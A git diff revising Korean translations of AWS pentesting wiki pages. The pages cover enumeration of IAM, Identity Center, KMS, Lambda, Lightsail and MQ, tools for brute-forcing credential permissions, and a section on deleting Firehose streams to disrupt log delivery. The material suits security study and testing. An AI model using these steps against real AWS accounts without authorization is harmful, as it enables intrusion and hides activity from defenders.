기능을 도입하여 사용자가 EMR 클러스터 내에서 데이터가 저장 및 전송 중일 때 암호화 설정을 지정할 수 있도록 하여 데이터 보호를 강화합니다. EMR 클러스터는 Apache Hadoop 및 Spark와 같은 빅 데이터 프레임워크를 처리하도록 설계된 EC2 인스턴스의 확장 가능한 그룹입니다. 주요 특징은 다음과 같습니다: @@ -22,7 +22,7 @@ TLS 인증서 제공자가 보안 구성에 통합되면 EMR 버전에 따라 - **Hadoop**: - TLS를 사용하여 암호화된 셔플을 줄일 수 있습니다. -- 간단한 인증 보안 계층과 AES-256을 사용한 HDFS 블록 전송이 활성화되면 저장 중 암호화가 적용됩니다. +- 간단한 인증 보안 계층과 AES-256을 사용한 HDFS 블록 전송이 저장 중 암호화와 함께 활성화됩니다. - **Presto** (EMR 버전 5.6.0+): - Presto 노드 간의 내부 통신이 SSL 및 TLS를 사용하여 보호됩니다. - **Tez 셔플 핸들러**: @@ -45,13 +45,13 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` -#### Privesc +#### 권한 상승 {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## 참고자료 - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 05cb3ab72..7123c38b7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -4,7 +4,7 @@ ## IAM -**IAM에 대한 설명**은 다음에서 찾을 수 있습니다: +IAM에 대한 **설명**은 다음에서 찾을 수 있습니다: {{#ref}} ../aws-basic-information/ @@ -90,7 +90,7 @@ aws iam list-virtual-mfa-devices ``` ### 권한 무차별 대입 -자신의 권한에 관심이 있지만 IAM을 쿼리할 수 없는 경우 항상 무차별 대입을 시도할 수 있습니다. +자신의 권한에 관심이 있지만 IAM을 쿼리할 수 있는 접근 권한이 없는 경우, 항상 무차별 대입을 시도할 수 있습니다. #### bf-aws-permissions @@ -108,17 +108,17 @@ python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -만약 **사용자가 가진 일부 권한**을 발견했고, 그것이 **관리형 AWS 역할**에 의해 부여된 것이라고 생각한다면 (사용자 정의 역할이 아님). 도구 [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies)를 사용하여 **당신이 발견한 권한을 부여하는 모든 AWS 관리형 역할**을 확인할 수 있습니다. +당신의 사용자에게 **일부 권한이 있는 것을 발견했으며**, 그것이 **커스텀 역할이 아닌 관리형 AWS 역할**에 의해 부여되고 있다고 생각한다면, 도구 [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies)를 사용하여 **당신이 발견한 권한을 부여하는 모든 AWS 관리형 역할**을 확인할 수 있습니다. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` > [!WARNING] -> AWS 관리 역할에 의해 부여된 권한이 있는지 "알 수" 있는 경우가 있습니다. 예를 들어 **사용되지 않는 서비스에 대한 권한이 있는 경우**입니다. +> AWS 관리 역할에 의해 부여된 권한이 있는지 "알 수 있는" 가능성이 있습니다. 예를 들어 **사용되지 않는 서비스에 대한 권한이 있는 경우**입니다. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM)은 **모든 사용자 또는 특정 사용자 또는 역할에 의해 수행된 작업을 추출하고 요약하기 위해 AWS CloudTrail 로그를 분석하는** Python 도구입니다. 이 도구는 **지정된 버킷의 모든 cloudtrail 로그를 파싱합니다**. +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM)은 **모든 사용자 또는 특정 사용자 또는 역할에 의해 수행된 작업을 추출하고 요약하기 위해 AWS CloudTrail 로그를 분석하는** Python 도구입니다. 이 도구는 **지정된 버킷의 모든 CloudTrail 로그를 파싱합니다**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM @@ -126,11 +126,11 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> .tfstate (Terraform 상태 파일) 또는 CloudFormation 파일(이 파일들은 일반적으로 cf-templates 접두사가 있는 버킷 내의 yaml 파일) 을 찾으면, aws 구성 및 어떤 권한이 누구에게 할당되었는지 찾기 위해 이 파일들을 읽을 수 있습니다. +> .tfstate (Terraform 상태 파일) 또는 CloudFormation 파일(이 파일들은 일반적으로 cf-templates 접두사가 있는 버킷 내의 yaml 파일) 을 찾으면, aws 구성 및 누가 어떤 권한을 부여받았는지 확인하기 위해 이 파일들을 읽을 수 있습니다. #### enumerate-iam -도구 [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam)를 사용하려면 먼저 모든 API AWS 엔드포인트를 다운로드해야 합니다. 이 중에서 스크립트 **`generate_bruteforce_tests.py`**는 모든 **"list\_", "describe\_", 및 "get\_" 엔드포인트**를 가져옵니다. 마지막으로, 주어진 자격 증명으로 **접근을 시도하고** **작동했는지 여부를 표시합니다**. +도구 [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam)를 사용하려면 먼저 모든 API AWS 엔드포인트를 다운로드해야 하며, 그 중에서 스크립트 **`generate_bruteforce_tests.py`**가 모든 **"list\_", "describe\_", 및 "get\_" 엔드포인트**를 가져옵니다. 마지막으로, 주어진 자격 증명으로 **접근을 시도하고** **작동 여부를 표시합니다**. (제 경험상 **도구가 어느 시점에서 멈추는 경우가 있습니다**, [**이 수정 사항을 확인하세요**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) 이 문제를 해결하기 위해 시도해 보세요). @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). 이 도구는 **여러 일반 서비스에서 여러 일반 작업을 확인합니다** (일부 열거 권한과 일부 권한 상승 권한을 확인합니다). 그러나 코딩된 검사만 확인합니다 (더 많은 내용을 확인하는 유일한 방법은 더 많은 테스트를 코딩하는 것입니다). +당신은 또한 도구 [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki)를 사용할 수 있습니다. 이 도구는 **여러 일반 서비스에서 여러 일반 작업을 확인**합니다 (일부 열거 권한과 일부 권한 상승 권한을 확인합니다). 그러나 코딩된 검사만 확인하며 (더 많은 내용을 확인하는 유일한 방법은 더 많은 테스트를 코딩하는 것입니다). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -255,7 +255,7 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` -### Enumeration +### 열거 Identity Center의 주요 요소는 다음과 같습니다: @@ -266,7 +266,7 @@ Identity Center의 주요 요소는 다음과 같습니다: 그런 다음, 사용자/그룹이 AWS 계정에 대한 권한 세트를 가지도록 관계가 생성됩니다. > [!NOTE] -> 권한 세트에 정책을 연결하는 방법은 3가지가 있습니다. AWS 관리형 정책, 고객 관리형 정책(이 정책은 권한 세트가 영향을 미치는 모든 계정에서 생성되어야 함), 그리고 인라인 정책(여기에서 정의됨). +> 권한 세트에 정책을 연결하는 방법은 3가지가 있습니다. AWS 관리형 정책, 고객 관리형 정책(이 정책은 권한 세트에 영향을 미치는 모든 계정에서 생성되어야 함), 및 인라인 정책(여기에서 정의됨). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -302,7 +302,7 @@ aws identitystore list-group-memberships-for-member --identity-store-id ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` -## Post-exploitation / Defense Bypass +## 포스트 익스플로잇 / 방어 우회 -firehose가 로그 또는 방어 통찰력을 전송하는 데 사용되는 경우, 이러한 기능을 사용하여 공격자는 제대로 작동하지 않도록 방해할 수 있습니다. +firehose가 로그나 방어 통찰력을 전송하는 데 사용되는 경우, 이러한 기능을 사용하여 공격자는 제대로 작동하지 않도록 방해할 수 있습니다. ### firehose:DeleteDeliveryStream ``` @@ -36,7 +36,7 @@ aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVs aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` -## References +## 참고 문헌 - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 07a684033..83bf4d58e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,9 +4,9 @@ ## KMS - Key Management Service -AWS Key Management Service (AWS KMS)는 관리형 서비스로 제공되어 사용자가 **고객 마스터 키** (CMK)를 **생성하고 관리하는 과정**을 단순화합니다. 이러한 CMK는 사용자 데이터의 암호화에 필수적입니다. AWS KMS의 주목할 만한 기능은 CMK가 주로 **하드웨어 보안 모듈** (HSM)에 의해 **보호**된다는 점으로, 암호화 키의 보호를 강화합니다. +AWS Key Management Service (AWS KMS)는 관리형 서비스로 제공되어 사용자가 **고객 마스터 키** (CMK)를 **생성하고 관리하는 과정**을 간소화합니다. 이러한 CMK는 사용자 데이터의 암호화에 필수적입니다. AWS KMS의 주목할 만한 특징은 CMK가 주로 **하드웨어 보안 모듈** (HSM)에 의해 **보호된다는 것**으로, 암호화 키의 보호를 강화합니다. -KMS는 **대칭 암호화**를 사용합니다. 이는 **정보를 저장할 때 암호화**하는 데 사용됩니다 (예: S3 내부). **전송 중 정보를 암호화**해야 하는 경우 **TLS**와 같은 것을 사용해야 합니다. +KMS는 **대칭 암호화**를 사용합니다. 이는 **정보를 저장할 때 암호화하는 데 사용됩니다** (예: S3 내부). **전송 중 정보를 암호화해야 하는 경우** **TLS**와 같은 것을 사용해야 합니다. KMS는 **지역별 서비스**입니다. @@ -21,15 +21,15 @@ KMS는 **지역별 서비스**입니다. - **AWS 관리 CMK: 다른 서비스에서 데이터를 암호화하는 데 사용됩니다**. 이는 해당 지역에서 암호화를 구현할 때 처음 생성된 서비스에서 사용됩니다. 3년마다 회전하며 변경할 수 없습니다. - **고객 관리 CMK**: 유연성, 회전, 구성 가능한 접근 및 키 정책. 키를 활성화 및 비활성화할 수 있습니다. -**키 관리 서비스(KMS)에서의 봉투 암호화**: 데이터 키로 데이터를 **암호화한 다음 마스터 키로 데이터 키를 암호화하는** 두 계층 계층 시스템입니다. +**키 관리 서비스(KMS)에서의 Envelope Encryption**: **데이터 키로 데이터를 암호화한 다음 마스터 키로 데이터 키를 암호화하는** 두 계층 계층 시스템입니다. ### 키 정책 -이것은 **KMS에서 키를 사용할 수 있는 사람과 접근할 수 있는 사람을 정의합니다**. +이 정책은 **KMS에서 키를 사용할 수 있는 사람과 접근할 수 있는 사람을 정의합니다**. **기본적으로:** -- KMS 키를 소유한 **AWS 계정의 IAM에 KMS 키에 대한 접근 권한을 부여**하여 IAM을 통해 KMS 키에 대한 접근을 관리할 수 있습니다. +- KMS 키를 소유한 **AWS 계정의 IAM에 KMS 키에 대한 접근을 관리할 수 있는 권한을 부여합니다**. 다른 AWS 리소스 정책과 달리, AWS **KMS 키 정책은 계정의 어떤 주체에게도 자동으로 권한을 부여하지 않습니다**. 계정 관리자가 권한을 부여받으려면, **키 정책은 이 권한을 제공하는 명시적 문장을 포함해야 합니다**, 다음과 같은 방식으로. @@ -37,9 +37,9 @@ KMS는 **지역별 서비스**입니다. - 이는 **키 정책 외에도 KMS 키에 대한 접근을 허용하기 위해 IAM 정책을 사용할 수 있도록 계정에 허용합니다**. -**이 권한이 없으면 키에 대한 접근을 허용하는 IAM 정책은 효과가 없습니다**, 비록 키에 대한 접근을 거부하는 IAM 정책은 여전히 효과적입니다. +**이 권한이 없으면 키에 대한 접근을 허용하는 IAM 정책은 효과가 없지만**, 키에 대한 접근을 거부하는 IAM 정책은 여전히 효과적입니다. -- 이는 **키가 관리 불가능해질 위험을 줄입니다**. 계정 관리자는 계정 루트 사용자 포함하여 접근 제어 권한을 부여받습니다. 이 사용자는 삭제할 수 없습니다. +- 이는 **키가 관리 불가능해지는 위험을 줄입니다**. 계정 관리자는 계정 루트 사용자 포함하여 접근 제어 권한을 부여받습니다. 이 사용자는 삭제할 수 없습니다. **기본 정책** 예: ```json @@ -90,19 +90,19 @@ KMS는 **지역별 서비스**입니다. - IAM 사용자와 역할만 키 관리자 목록에 추가할 수 있습니다 (그룹은 불가능). - 외부 CMK가 사용되는 경우, 키 관리자는 키 자료를 가져올 수 있는 권한이 있습니다. -### CMK 회전 +### CMK의 회전 - 동일한 키가 오랫동안 유지될수록 해당 키로 암호화되는 데이터가 많아지고, 그 키가 침해되면 데이터의 위험 범위가 넓어집니다. 또한 키가 활성 상태로 유지될수록 침해될 확률이 증가합니다. -- **KMS는 고객 키를 매 365일마다 회전합니다** (원하는 경우 수동으로 프로세스를 수행할 수 있음) 및 **AWS가 관리하는 키는 3년마다 회전하며 이때는 변경할 수 없습니다**. +- **KMS는 고객 키를 매 365일마다 회전합니다** (원하는 경우 수동으로 프로세스를 수행할 수 있음) 및 **AWS가 관리하는 키는 3년마다 회전하며 이 시점은 변경할 수 없습니다**. - **오래된 키는 회전 이전에 암호화된 데이터를 복호화하기 위해 보존됩니다**. - 침해가 발생한 경우, 키를 회전해도 위협이 제거되지 않으며, 침해된 키로 암호화된 모든 데이터를 복호화할 수 있습니다. 그러나 **새로운 데이터는 새로운 키로 암호화됩니다**. - **CMK**가 **비활성화** 상태이거나 **삭제 대기** 상태인 경우, KMS는 CMK가 다시 활성화되거나 삭제가 취소될 때까지 **키 회전을 수행하지 않습니다**. #### 수동 회전 -- **새로운 CMK를 생성해야 하며**, 그러면 새로운 CMK-ID가 생성되므로 **응용 프로그램**을 **업데이트**하여 새로운 CMK-ID를 참조해야 합니다. -- 이 프로세스를 쉽게 하기 위해 **키-ID를 참조하기 위해 별칭을 사용할 수** 있으며, 그런 다음 별칭이 참조하는 키를 업데이트하면 됩니다. -- **구형 키를 보존하여 해당 키로 암호화된 이전 파일을 복호화해야 합니다**. +- **새로운 CMK를 생성해야 하며**, 그 후 새로운 CMK-ID가 생성되므로 **응용 프로그램**을 **업데이트**하여 새로운 CMK-ID를 **참조**해야 합니다. +- 이 프로세스를 쉽게 하기 위해 **키-ID를 참조하기 위해 별칭을 사용할 수 있으며**, 그런 다음 별칭이 참조하는 키를 업데이트하면 됩니다. +- **구형 키를 보존하여** 해당 키로 암호화된 이전 파일을 복호화해야 합니다. 온프레미스 키 인프라에서 키를 가져올 수 있습니다. @@ -147,7 +147,7 @@ aws kms describe-custom-key-stores ../aws-persistence/aws-kms-persistence.md {{#endref}} -## 참조 +## 참고자료 - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 8536a2bee..02753f47b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,56 +4,56 @@ ## Lambda -Amazon Web Services (AWS) Lambda는 **서버 제공 또는 관리의 필요 없이 코드를 실행할 수 있는** **컴퓨트 서비스**로 설명됩니다. 이는 코드 실행에 필요한 **리소스 할당을 자동으로 처리하는** 능력으로 특징지어지며, 높은 가용성, 확장성 및 보안과 같은 기능을 보장합니다. Lambda의 중요한 측면은 **요금이 사용된 컴퓨트 시간에만 기반하여 청구되는** 가격 모델로, 초기 투자나 장기 의무가 필요하지 않습니다. +Amazon Web Services (AWS) Lambda는 **서버 제공 또는 관리의 필요 없이 코드를 실행할 수 있는** **컴퓨트 서비스**로 설명됩니다. 이는 코드 실행에 필요한 **리소스 할당을 자동으로 처리하는** 능력으로 특징지어지며, 높은 가용성, 확장성 및 보안과 같은 기능을 보장합니다. Lambda의 중요한 측면은 **사용된 컴퓨트 시간에만 요금이 부과되는** 가격 모델로, 초기 투자나 장기 의무가 필요하지 않습니다. -람다를 호출하려면 **원하는 만큼 자주** (Cloudwatch 사용) 호출하거나, **URL** 엔드포인트를 **노출**하고 호출하거나, **API Gateway**를 통해 호출하거나, **S3** 버킷의 데이터 변경이나 **DynamoDB** 테이블의 업데이트와 같은 **이벤트**에 기반하여 호출할 수 있습니다. +람다를 호출하려면 **원하는 만큼 자주** (Cloudwatch 사용) 호출하거나, **URL** 엔드포인트를 **노출**하고 호출하거나, **API Gateway**를 통해 호출하거나, **S3** 버킷의 데이터 변경이나 **DynamoDB** 테이블 업데이트와 같은 **이벤트**에 따라 호출할 수 있습니다. 람다의 **코드**는 **`/var/task`**에 저장됩니다. ### Lambda Aliases Weights 람다는 **여러 버전**을 가질 수 있습니다.\ -그리고 **별칭**을 통해 **1개 이상의** 버전을 노출할 수 있습니다. **별칭** 내에서 노출된 **각** **버전의 가중치**는 **어떤 별칭이 호출을 받을지** 결정합니다 (예: 90%-10%일 수 있음).\ -**하나**의 별칭 코드가 **취약**하다면, **취약한** 버전이 익스플로잇을 받을 때까지 **요청을 보낼 수 있습니다**. +그리고 **1개 이상의** 버전을 **별칭**을 통해 노출할 수 있습니다. **별칭** 내에서 노출된 **각 버전의 가중치**는 **어떤 별칭이 호출을 받을지** 결정합니다 (예: 90%-10%일 수 있음).\ +**하나**의 별칭 코드가 **취약한** 경우, **취약한** 버전이 익스플로잇을 받을 때까지 **요청을 보낼 수 있습니다**. ![](<../../../images/image (223).png>) ### Resource Policies Lambda 리소스 정책은 다른 서비스/계정이 람다를 호출할 수 있도록 **접근을 허용**합니다.\ -예를 들어, **URL을 통해 노출된 람다에 누구나 접근할 수 있도록 허용하는 정책**은 다음과 같습니다: +예를 들어, 이는 **URL을 통해 노출된 람다에 누구나 접근할 수 있도록 허용하는 정책**입니다:
-또는 API Gateway가 이를 호출할 수 있도록 허용하는 정책은 다음과 같습니다: +또는 API Gateway가 이를 호출할 수 있도록 허용하는 정책입니다:
### Lambda Database Proxies **수백 개의** **동시 람다 요청**이 있을 때, 각 요청이 **데이터베이스에 연결하고 연결을 종료해야 한다면**, 이는 작동하지 않을 것입니다 (람다는 상태가 없으며, 연결을 유지할 수 없습니다).\ -따라서, **람다 함수가 데이터베이스 인스턴스 대신 RDS Proxy와 상호작용**하도록 하면 됩니다. 이는 동시 람다 함수가 생성한 많은 동시 연결을 위한 연결 풀링을 처리합니다. 이를 통해 람다 애플리케이션은 **기존 연결을 재사용**할 수 있으며, 각 함수 호출마다 새로운 연결을 생성할 필요가 없습니다. +따라서, **Lambda 함수가 데이터베이스 인스턴스 대신 RDS Proxy와 상호작용**하도록 하면, 동시 Lambda 함수가 생성한 많은 동시 연결을 위한 연결 풀링을 처리합니다. 이는 Lambda 애플리케이션이 **기존 연결을 재사용**할 수 있게 하여, 각 함수 호출마다 새로운 연결을 생성할 필요가 없도록 합니다. ### Lambda EFS Filesystems -데이터를 보존하고 공유하기 위해 **람다는 EFS에 접근하고 이를 마운트**할 수 있으며, 이를 통해 람다는 읽고 쓸 수 있습니다. +데이터를 보존하고 공유하기 위해 **Lambdas는 EFS에 접근하고 이를 마운트**할 수 있어, Lambda가 이를 읽고 쓸 수 있게 됩니다. ### Lambda Layers 람다 _레이어_는 **추가 코드를 포함할 수 있는** .zip 파일 아카이브입니다. 레이어는 라이브러리, [사용자 정의 런타임](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), 데이터 또는 구성 파일을 포함할 수 있습니다. -함당 **함수당 최대 5개의 레이어를 포함**할 수 있습니다. 함수를 포함할 때, **내용은 실행 환경의 `/opt`** 디렉토리에 추출됩니다. +함당 **최대 다섯 개의 레이어를 포함**할 수 있습니다. 함수에 레이어를 포함하면, **내용이 실행 환경의 `/opt`** 디렉토리에 추출됩니다. -**기본적으로**, 생성한 **레이어**는 **AWS 계정에 비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**로 만들 수 있습니다. 다른 계정이 게시한 레이어를 사용하는 함수는 **레이어가 삭제된 후에도 해당 레이어 버전을 계속 사용할 수 있으며, 레이어에 대한 접근 권한이 취소된 후에도 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다. +**기본적으로**, 생성한 **레이어**는 **AWS 계정에 비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**할 수 있습니다. 다른 계정이 게시한 레이어를 사용하는 함수는 **레이어가 삭제된 후에도 해당 레이어 버전을 계속 사용할 수 있으며, 레이어에 대한 접근 권한이 취소된 후에도 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다. 컨테이너 이미지로 배포된 함수는 레이어를 사용하지 않습니다. 대신, 이미지를 빌드할 때 선호하는 런타임, 라이브러리 및 기타 종속성을 컨테이너 이미지에 패키징합니다. ### Lambda Extensions -람다 확장은 다양한 **모니터링, 관찰 가능성, 보안 및 거버넌스 도구**와 통합하여 기능을 향상시킵니다. 이러한 확장은 [.zip 아카이브를 사용하여 람다 레이어](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)로 추가되거나 [컨테이너 이미지 배포에 포함](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)되어, 두 가지 모드에서 작동합니다: **내부** 및 **외부**. +람다 확장은 다양한 **모니터링, 가시성, 보안 및 거버넌스 도구**와 통합하여 기능을 향상시킵니다. 이러한 확장은 [.zip 아카이브를 사용하여 Lambda 레이어](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)로 추가되거나 [컨테이너 이미지 배포에 포함](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)되어, 두 가지 모드인 **내부** 및 **외부**에서 작동합니다. - **내부 확장**은 런타임 프로세스와 병합되어 **언어별 환경 변수** 및 **래퍼 스크립트**를 사용하여 시작을 조작합니다. 이 사용자 정의는 **Java Correto 8 및 11, Node.js 10 및 12, .NET Core 3.1**을 포함한 다양한 런타임에 적용됩니다. -- **외부 확장**은 별도의 프로세스로 실행되며, 람다 함수의 생명 주기와 운영 정렬을 유지합니다. 이는 **Node.js 10 및 12, Python 3.7 및 3.8, Ruby 2.5 및 2.7, Java Corretto 8 및 11, .NET Core 3.1** 및 **사용자 정의 런타임**과 호환됩니다. +- **외부 확장**은 별도의 프로세스로 실행되며, Lambda 함수의 생명 주기와 운영 정렬을 유지합니다. 이는 **Node.js 10 및 12, Python 3.7 및 3.8, Ruby 2.5 및 2.7, Java Corretto 8 및 11, .NET Core 3.1** 및 **사용자 정의 런타임**과 호환됩니다. ### Enumeration ```bash @@ -108,15 +108,15 @@ aws lambda invoke --function-name --cli-binary-format raw-in-base64-out - aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### Call Lambda function via URL +#### URL를 통해 Lambda 함수 호출 -이제 실행할 수 있는 가능한 lambda 함수들을 찾아볼 시간입니다: +이제 실행할 수 있는 가능한 lambda 함수를 찾아볼 시간입니다: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -"Level6"이라는 이름의 람다 함수가 사용 가능합니다. 이를 호출하는 방법을 찾아봅시다: +"Level6"이라는 이름의 lambda 함수가 사용 가능합니다. 이를 호출하는 방법을 찾아봅시다: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` @@ -128,7 +128,7 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 ``` ![](<../../../images/image (237).png>) -마지막으로 함수를 호출하여 접근합니다 (ID, 이름 및 함수 이름이 URL에 나타나는 것을 주목하세요): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +마지막으로 함수를 호출하여 접근합니다 (ID, Name 및 function-name이 URL에 나타납니다): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** @@ -140,7 +140,7 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 ### 권한 상승 -다음 페이지에서 **람다 권한을 악용하여 권한을 상승시키는 방법**을 확인할 수 있습니다: +다음 페이지에서 **람다 권한을 남용하여 권한을 상승시키는 방법**을 확인할 수 있습니다: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index dd7e9f4a4..bf8413907 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsail은 새로운 클라우드 사용자가 AWS의 클라우드 컴퓨팅 서비스를 쉽게 활용할 수 있는 **간단하고** 경량화된 방법을 제공합니다. 이를 통해 **VMs** (**EC2**) 및 **컨테이너**를 통해 일반 및 사용자 정의 웹 서비스를 몇 초 만에 배포할 수 있습니다.\ +Amazon Lightsail은 새로운 클라우드 사용자가 AWS의 클라우드 컴퓨팅 서비스를 쉽게 활용할 수 있는 **간단하고** 경량화된 방법을 제공합니다. 이를 통해 **VMs** (**EC2**) 및 **컨테이너**를 통해 몇 초 만에 일반 및 맞춤형 웹 서비스를 배포할 수 있습니다.\ 이는 **최소한의 EC2 + Route53 + ECS**입니다. ### Enumeration @@ -34,7 +34,7 @@ aws lightsail get-key-pairs ### 메타데이터 -**메타데이터 엔드포인트는 Lightsail에서 접근할 수 있습니다**, 하지만 머신은 **AWS에 의해 관리되는 AWS 계정에서 실행되고** 있으므로 **부여된 권한을 제어할 수 없습니다**. 그러나 이를 악용할 방법을 찾으면 AWS를 직접 악용하는 것이 됩니다. +**메타데이터 엔드포인트는 Lightsail에서 접근할 수 있지만**, 머신은 **AWS에 의해 관리되는 AWS 계정에서 실행되고** 있으므로 **부여된 권한을 제어할 수 없습니다**. 그러나 이를 악용할 방법을 찾으면 AWS를 직접 악용하는 것이 됩니다. ### 권한 상승 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index c2735ac72..a164a92b8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -10,11 +10,11 @@ ### AWS - RabbitMQ -RabbitMQ는 저명한 **메시지 큐잉 소프트웨어**로, _메시지 브로커_ 또는 _큐 관리자_로도 알려져 있습니다. 본질적으로 큐가 구성된 시스템입니다. 애플리케이션은 이러한 큐와 인터페이스하여 **메시지를 전송하고 수신**합니다. 이 맥락에서 메시지는 다른 애플리케이션(잠재적으로 다른 서버에서)에서 프로세스를 시작하는 명령부터 간단한 텍스트 메시지에 이르기까지 다양한 정보를 담을 수 있습니다. 메시지는 수신 애플리케이션에 의해 검색되고 처리될 때까지 큐 관리자 소프트웨어에 의해 보관됩니다. AWS는 RabbitMQ 서버를 호스팅하고 관리하기 위한 사용하기 쉬운 솔루션을 제공합니다. +RabbitMQ는 저명한 **메시지 큐잉 소프트웨어**로, _메시지 브로커_ 또는 _큐 관리자_로도 알려져 있습니다. 본질적으로 큐가 구성된 시스템입니다. 애플리케이션은 이러한 큐와 인터페이스하여 **메시지를 전송하고 수신**합니다. 이 맥락에서 메시지는 다른 애플리케이션(잠재적으로 다른 서버에서)의 프로세스를 시작하는 명령에서 간단한 텍스트 메시지에 이르기까지 다양한 정보를 담을 수 있습니다. 메시지는 수신 애플리케이션에 의해 검색되고 처리될 때까지 큐 관리자 소프트웨어에 의해 보관됩니다. AWS는 RabbitMQ 서버를 호스팅하고 관리하기 위한 사용하기 쉬운 솔루션을 제공합니다. ### AWS - ActiveMQ -Apache ActiveMQ®는 다재다능함으로 유명한 선도적인 오픈 소스, Java 기반 **메시지 브로커**입니다. 여러 산업 표준 프로토콜을 지원하여 다양한 언어와 플랫폼에서 광범위한 클라이언트 호환성을 제공합니다. 사용자는: +Apache ActiveMQ®는 다재다능함으로 유명한 선도적인 오픈 소스 Java 기반 **메시지 브로커**입니다. 여러 산업 표준 프로토콜을 지원하여 다양한 언어와 플랫폼에서 광범위한 클라이언트 호환성을 제공합니다. 사용자는: - JavaScript, C, C++, Python, .Net 등으로 작성된 클라이언트와 연결할 수 있습니다. - **AMQP** 프로토콜을 활용하여 서로 다른 플랫폼의 애플리케이션을 통합할 수 있습니다. @@ -48,7 +48,7 @@ aws mq list-configurations aws mq create-user --broker-id --password --username --console-access ``` > [!WARNING] -> TODO: RabbitMQ와 ActiveMQ를 내부에서 어떻게 열거하고 모든 큐를 수신하고 데이터를 전송하는지 표시하십시오 (방법을 아는 경우 PR을 보내십시오) +> TODO: RabbitMQ와 ActiveMQ를 내부적으로 